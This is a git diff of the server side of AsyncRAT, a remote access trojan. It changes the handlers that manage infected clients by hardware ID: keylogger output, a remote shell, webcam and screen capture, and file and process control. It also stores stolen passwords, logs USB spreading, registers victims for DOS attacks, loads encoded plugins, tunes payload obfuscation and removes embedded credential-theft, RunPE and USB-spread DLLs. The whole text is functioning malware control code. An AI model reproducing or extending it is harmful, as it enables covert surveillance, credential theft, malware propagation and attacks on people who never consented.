HandleChat(MsgPack unpack_msgpack, Clients client) + public void Read(MsgPack unpack_msgpack, Clients client) { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + try + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (chat != null) + { + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + client.Disconnected(); + } + } + catch { } + } + + public void GetClient(MsgPack unpack_msgpack, Clients client) + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (chat != null) { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + if (chat.Client == null) + { + chat.Client = client; + chat.textBox1.Enabled = true; + chat.timer1.Enabled = true; + } + } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleDos.cs b/AsyncRAT-C#/Server/Handle Packet/HandleDos.cs new file mode 100644 index 0000000..b6c3570 --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandleDos.cs @@ -0,0 +1,29 @@ +using Server.Connection; +using Server.Forms; +using Server.MessagePack; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Handle_Packet +{ + class HandleDos + { + public void Add(Clients client, MsgPack unpack_msgpack) + { + try + { + FormDOS DOS = (FormDOS)Application.OpenForms["DOS"]; + if (DOS != null) + { + lock (DOS.sync) + DOS.PlguinClients.Add(client); + } + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 3e7953e..94eb38e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -22,9 +22,24 @@ namespace Server.Handle_Packet { switch (unpack_msgpack.ForcePathObject("Command").AsString) { + + case "setClient": + { + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (FM != null) + { + if (FM.Client == null) + { + client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString; + FM.Client = client; + FM.timer1.Enabled = true; + } + } + break; + } case "getDrivers": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (FM != null) { FM.toolStripStatusLabel1.Text = ""; @@ -50,7 +65,7 @@ namespace Server.Handle_Packet case "getPath": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (FM != null) { FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; @@ -105,7 +120,7 @@ namespace Server.Handle_Packet case "error": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (FM != null) { FM.listView1.Enabled = true; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index c34cf36..ea9c2e6 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -15,22 +15,26 @@ namespace Server.Handle_Packet { try { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; - if (KL != null) - { - KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); - KL.richTextBox1.Text = KL.Sb.ToString(); - KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; - KL.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - client.Send(msgpack.Encode2Bytes()); + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()]; + if (KL != null) + { + if (KL.Client == null) + { + KL.Client = client; + KL.timer1.Enabled = true; + } + KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); + KL.richTextBox1.Text = KL.Sb.ToString(); + KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; + KL.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + client.Send(msgpack.Encode2Bytes()); } - } catch { } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index 5fcef69..cf2f77b 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -4,7 +4,6 @@ using Server.Connection; using cGeoIp; using System.Drawing; using System.Windows.Forms; -using System.Threading.Tasks; namespace Server.Handle_Packet { @@ -14,6 +13,12 @@ namespace Server.Handle_Packet { try { + try + { + client.CheckPlugin(); + } + catch { } + client.LV = new ListViewItem(); client.LV.Tag = client; client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); @@ -34,6 +39,7 @@ namespace Server.Handle_Packet client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; + lock (Settings.LockListviewClients) { Program.form1.listView1.Items.Add(client.LV); @@ -46,9 +52,10 @@ namespace Server.Handle_Packet {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; Program.form1.notifyIcon1.ShowBalloonTip(100); } + + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green); } catch { } - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } public void Received(Clients client) diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs index f07bdf6..521e48e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs @@ -18,6 +18,7 @@ namespace Server.Handle_Packet LV.Text = DateTime.Now.ToLongTimeString(); LV.SubItems.Add(Msg); LV.ForeColor = color; + lock (Settings.LockListviewLogs) { Program.form1.listView2.Items.Insert(0, LV); diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs index fced62b..b393639 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePing.cs @@ -11,7 +11,6 @@ namespace Server.Handle_Packet { try { - lock (Settings.LockListviewClients) if (client.LV != null) client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs index f863629..776fdb0 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleProcessManager.cs @@ -14,9 +14,15 @@ namespace Server.Handle_Packet { try { - FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (PM != null) { + if (PM.Client == null) + { + PM.Client = client; + PM.listView1.Enabled = true; + PM.timer1.Enabled = true; + } PM.listView1.Items.Clear(); string processLists = unpack_msgpack.ForcePathObject("Message").AsString; string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs index a351e83..3e382a6 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRecovery.cs @@ -17,15 +17,15 @@ namespace Server.Handle_Packet { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery"); string pass = unpack_msgpack.ForcePathObject("Password").AsString; - string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString; - if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies)) + //string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString; + if (!string.IsNullOrWhiteSpace(pass))// || !string.IsNullOrWhiteSpace(cookies)) { if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); - File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); + //File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); } else @@ -36,4 +36,4 @@ namespace Server.Handle_Packet catch { } } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index c5fbfbf..70e206f 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -29,13 +29,12 @@ namespace Server.Handle_Packet Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); RD.rdSize = decoded0.Size; RD.labelWait.Visible = false; + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = decoded; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs index 8468919..94c5f63 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs @@ -14,9 +14,14 @@ namespace Server.Handle_Packet { public HandleShell(MsgPack unpack_msgpack, Clients client) { - FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; + FormShell shell = (FormShell)Application.OpenForms["shell:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (shell != null) { + if (shell.Client == null) + { + shell.Client = client; + shell.timer1.Enabled = true; + } shell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString); shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; shell.richTextBox1.ScrollToCaret(); diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs index 0d7c00f..22c17b7 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs @@ -13,13 +13,16 @@ namespace Server.Handle_Packet { try { - if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") + if (client.LV2 == null) { client.LV2 = new ListViewItem(); client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); client.LV2.ToolTipText = client.ID; + client.LV2.Tag = client; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) { + Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); client.LV2.ImageKey = client.ID; lock (Settings.LockListviewThumb) diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs index ac0d049..4c1c448 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -24,7 +24,7 @@ namespace Server.Handle_Packet { case "getWebcams": { - FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; try { if (webcam != null) @@ -40,6 +40,7 @@ namespace Server.Handle_Packet if (webcam.comboBox1.Text == "None") { client.Disconnected(); + return; } webcam.comboBox1.Enabled = true; webcam.button1.Enabled = true; @@ -59,7 +60,7 @@ namespace Server.Handle_Packet case "capture": { - FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormWebcam webcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; try { if (webcam != null) @@ -81,7 +82,7 @@ namespace Server.Handle_Packet Directory.CreateDirectory(webcam.FullPath); webcam.pictureBox1.Image.Save(webcam.FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); } - webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("ID").AsString + " FPS:" + webcam.FPS + " Screen:" + image.Width + " x " + image.Height + " Size:" + Methods.BytesToString(memoryStream.Length); + webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString + " FPS:" + webcam.FPS + " Screen:" + image.Width + " x " + image.Height + " Size:" + Methods.BytesToString(memoryStream.Length); webcam.FPS = 0; webcam.sw = Stopwatch.StartNew(); } diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 2b86af3..9259968 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -1,19 +1,14 @@ using Server.Connection; using Server.MessagePack; -using System; -using System.Diagnostics; using System.Drawing; -using Server.Forms; -using System.Security.Cryptography; -using System.IO; using System.Windows.Forms; -using Server.Algorithm; +using System.Threading; namespace Server.Handle_Packet { - public static class Packet + public class Packet { - public static void Read(object Obj) + public void Read(object Obj) { Clients client = null; try @@ -23,137 +18,167 @@ namespace Server.Handle_Packet client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); unpack_msgpack.DecodeFromBytes(data); - if (Program.form1.InvokeRequired) + + Program.form1.Invoke((MethodInvoker)(() => { - Program.form1.BeginInvoke((MethodInvoker)(() => + switch (unpack_msgpack.ForcePathObject("Packet").AsString) { - try - { - switch (unpack_msgpack.ForcePathObject("Packet").AsString) + case "ClientInfo": { - case "ClientInfo": - { - new HandleListView().AddToListview(client, unpack_msgpack); - break; - } - - case "Ping": - { - new HandlePing(client, unpack_msgpack); - break; - } - - case "Logs": - { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); - break; - } - - case "thumbnails": - { - new HandleThumbnails(client, unpack_msgpack); - break; - } - - case "BotKiller": - { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); - break; - } - - case "usb": - { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); - break; - } - - case "recoveryPassword": - { - new HandleRecovery(client, unpack_msgpack); - break; - } - - case "Received": - { - new HandleListView().Received(client); - break; - } - - case "Error": - { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); - break; - } - case "remoteDesktop": - { - new HandleRemoteDesktop().Capture(client, unpack_msgpack); - break; - } - - case "processManager": - { - new HandleProcessManager().GetProcess(client, unpack_msgpack); - break; - } - - - case "socketDownload": - { - new HandleFileManager().SocketDownload(client, unpack_msgpack); - break; - } - - case "keyLogger": - { - new HandleKeylogger(client, unpack_msgpack); - break; - } - - case "fileManager": - { - new HandleFileManager().FileManager(client, unpack_msgpack); - break; - } - - case "shell": - { - new HandleShell(unpack_msgpack, client); - break; - } - - case "chat": - { - new HandleChat(unpack_msgpack, client); - break; - } - - case "reportWindow": - { - new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); - break; - } - - case "webcam": - { - new HandleWebcam(unpack_msgpack, client); - break; - } + new HandleListView().AddToListview(client, unpack_msgpack); + break; } - } - catch - { - new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong packet", Color.Red); - // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); // todo - create a mehtod to block spammers?? - client.Disconnected(); - return; - } - })); - } + case "Ping": + { + new HandlePing(client, unpack_msgpack); + break; + } + + case "Logs": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black); + break; + } + + case "thumbnails": + { + client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString; + new HandleThumbnails(client, unpack_msgpack); + break; + } + + case "BotKiller": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + break; + } + + case "usb": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + break; + } + + case "recoveryPassword": + { + new HandleRecovery(client, unpack_msgpack); + break; + } + + case "Received": + { + new HandleListView().Received(client); + break; + } + + case "Error": + { + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red); + break; + } + case "remoteDesktop": + { + new HandleRemoteDesktop().Capture(client, unpack_msgpack); + break; + } + + case "processManager": + { + new HandleProcessManager().GetProcess(client, unpack_msgpack); + break; + } + + + case "socketDownload": + { + new HandleFileManager().SocketDownload(client, unpack_msgpack); + break; + } + + case "keyLogger": + { + new HandleKeylogger(client, unpack_msgpack); + break; + } + + case "fileManager": + { + new HandleFileManager().FileManager(client, unpack_msgpack); + break; + } + + case "shell": + { + new HandleShell(unpack_msgpack, client); + break; + } + + case "chat": + { + new HandleChat().Read(unpack_msgpack, client); + break; + } + + case "chat-": + { + new HandleChat().GetClient(unpack_msgpack, client); + break; + } + + case "reportWindow": + { + new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString); + break; + } + + case "reportWindow-": + { + if (Settings.ReportWindow == false) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "reportWindow"; + packet.ForcePathObject("Option").AsString = "stop"; + ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes()); + return; + } + lock (Settings.LockReportWindowClients) + Settings.ReportWindowClients.Add(client); + break; + } + + case "webcam": + { + new HandleWebcam(unpack_msgpack, client); + break; + } + + case "dosAdd": + { + new HandleDos().Add(client, unpack_msgpack); + break; + } + + case "sendPlugin": + { + foreach (string plguins in unpack_msgpack.ForcePathObject("Hashes").AsString.Split(',')) + { + client.SendPlugin(plguins.Trim()); + } + break; + } + + case "sendPlugin+": + { + client.ReSendPAlllugins(); + break; + } + } + })); } catch { - client.Disconnected(); + client?.Disconnected(); return; } } diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs index 9840d6b..b33381e 100644 --- a/AsyncRAT-C#/Server/Helper/Methods.cs +++ b/AsyncRAT-C#/Server/Helper/Methods.cs @@ -1,4 +1,8 @@ -using System; +using Microsoft.VisualBasic; +using Server.Algorithm; +using Server.Handle_Packet; +using System; +using System.Drawing; using System.IO; using System.Text; using System.Threading.Tasks; @@ -38,5 +42,20 @@ namespace Server.Helper return randomName.ToString(); } + + public static void SetPlugins() + { + try + { + foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) + { + Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(plugin)))); + } + } + catch (Exception ex) + { + new HandleLogs().Addmsg(ex.Message, Color.Red); + } + } } } diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index 99c1497..bbe7bbe 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -290,36 +290,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginRecovery { - get { - object obj = ResourceManager.GetObject("PluginRecovery", resourceCulture); - return ((byte[])(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginRunPE { - get { - object obj = ResourceManager.GetObject("PluginRunPE", resourceCulture); - return ((byte[])(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginUsbSpread { - get { - object obj = ResourceManager.GetObject("PluginUsbSpread", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index 1815859..e1b6fa3 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -235,13 +235,4 @@ ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\PluginRunPE.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\Resources\PluginUsbSpread.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - \ No newline at end of file diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs index c759f7b..eb264a6 100644 --- a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs @@ -17,7 +17,7 @@ namespace Server.RenamingObfuscation.Classes type.Name = Utils.GenerateRandomString(); foreach (MethodDef method in type.Methods) { - if (!method.IsSpecialName && !method.IsConstructor && !method.HasCustomAttributes && !method.IsAbstract && !method.IsVirtual) + if (!method.IsSpecialName && !method.IsConstructor && !method.HasCustomAttributes && !method.IsAbstract && !method.IsVirtual && method.Name != "Main") method.Name = Utils.GenerateRandomString(); foreach (ParamDef paramDef in method.ParamDefs) diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs index 957eb25..6814d7e 100644 --- a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs @@ -16,6 +16,7 @@ namespace Server.RenamingObfuscation.Classes public ModuleDefMD Rename(ModuleDefMD module) { ModuleDefMD moduleToRename = module; + moduleToRename.Name = Utils.GenerateRandomString(); foreach (TypeDef type in moduleToRename.GetTypes()) { diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs index 2703e25..614def3 100644 --- a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs @@ -10,7 +10,7 @@ namespace Server.RenamingObfuscation.Classes public static string GenerateRandomString() { var sb = new StringBuilder(); - for (int i = 1; i <= random.Next(10,30); i++) + for (int i = 1; i <= random.Next(10,20); i++) { var randomCharacterPosition = random.Next(0, alphabet.Length); sb.Append(alphabet[randomCharacterPosition]); @@ -19,7 +19,7 @@ namespace Server.RenamingObfuscation.Classes } private static readonly Random random = new Random(); - const string alphabet = "だうよたし長成に調順はんゃち赤たれま生くさ小番1で界世はてしと子の男たし院退がんゃち赤の男たれま生でムラグかずわ重体に昨で"; + const string alphabet = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; } } diff --git a/AsyncRAT-C#/Server/Resources/PluginRecovery.dll b/AsyncRAT-C#/Server/Resources/PluginRecovery.dll deleted file mode 100644 index 20d5bdfd556759ed74e41700a6af9a763b27324a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 385536 zcmcG#2_V#8*El|A7-K9M%Zw#^7<*+2MaYs;_AQltUxq=lM@nQ#i?UXtU8EFgRoN-p zY)RQtAyks^JD(X!-|zQ%p7(kG?|<^S_ndR@J@?#m&pG#e?o3;@9YSGHC=??+^YbWF z1=Pq#hgSakVh=QPh}_~pU1w<)t6(r`7PIp54i*ihQaq{7{-UnV0RfZ{Q5SbnYG{C{ zcYvtAsimkt#m!xjogKeofwh?d3T488K{ebe$zPnU7ljsMWmt(qbuyt)SUPp*cYs9~ zd+5+%G+l0lipWp<=)eG=BOeS(XCDg1N&EXv zt0^Xw`X3Gd0TD%^a7()20N=O-R}69A9Rj#p`@*`Awf<#(7~-Tz4W_z6Ke}wNHe{jQ z(09p42Zhp6q`Lc2pd%tH3S_47>it_ky(PnFpbnx}_#m>OQB0`qCzw#*ccM@XG%5;p z$_#}nHTsj!LeoE10^~y2Gg%b(N;FCldH^3nFcf%vunII_$;wa$$I`$E1Qex#B1lPr z_2Xqxw6PNZGEqhTeCXtapB01b}@jWD7kkusPM7{u^HK^A~Q0f#2}(3?fvd=Lp>7m>YSM8TFJ zF@nG-Jcni^&M`R2V~9SoL?1jO$)1(SCdY#ncA*P`!P#X5IN@<5J2o8is`oTIz@nyL zJj_U7B-wGIg=uQUGh&dT%)pIVgk=s*XUR-bCSi#StTIGm9ourTM6w`ACkwrl(Ihq! zyAU@ck(&u8&%4+WgviK+f)h>RW`dd1`Ekv$WcVZ(X~w! z!W@bP0UZ}xfdzq)*6h;e)RxOavSTMOk?gpcKxTVxMmZ^*g2aDh)|N}a^4f7@30Ta! z$ocvCMbV|uku0EqH19=ydcgc(lms3;krf>YmIrMldp07w+!i{@k`6?4B-j)qm74(- zNL~&qkeA0Ylk8Gq!x+dyfQNuJ3*xcNe+&VuV=RDftjH2raH~qNvV)k#`B$TPWMT6W zVKC`n7wAZ^KA0P!|BcL;4fc;g8G@`J41pJqjs%%$k|KL9PDgRs6k(8skyg^oQ-KkO zm%}YsKqr=08DWmWBA$R46vER8c*67q5DYQ#H1AbtqAW((4v%4#lZExri6nc3Ovjir zMEAfTM_Q?fW|l>k$c$ap2BT!9FeD#GlFu9iUB6h=a&S!eBhbfUyfZ}Db#5aX#n5b? 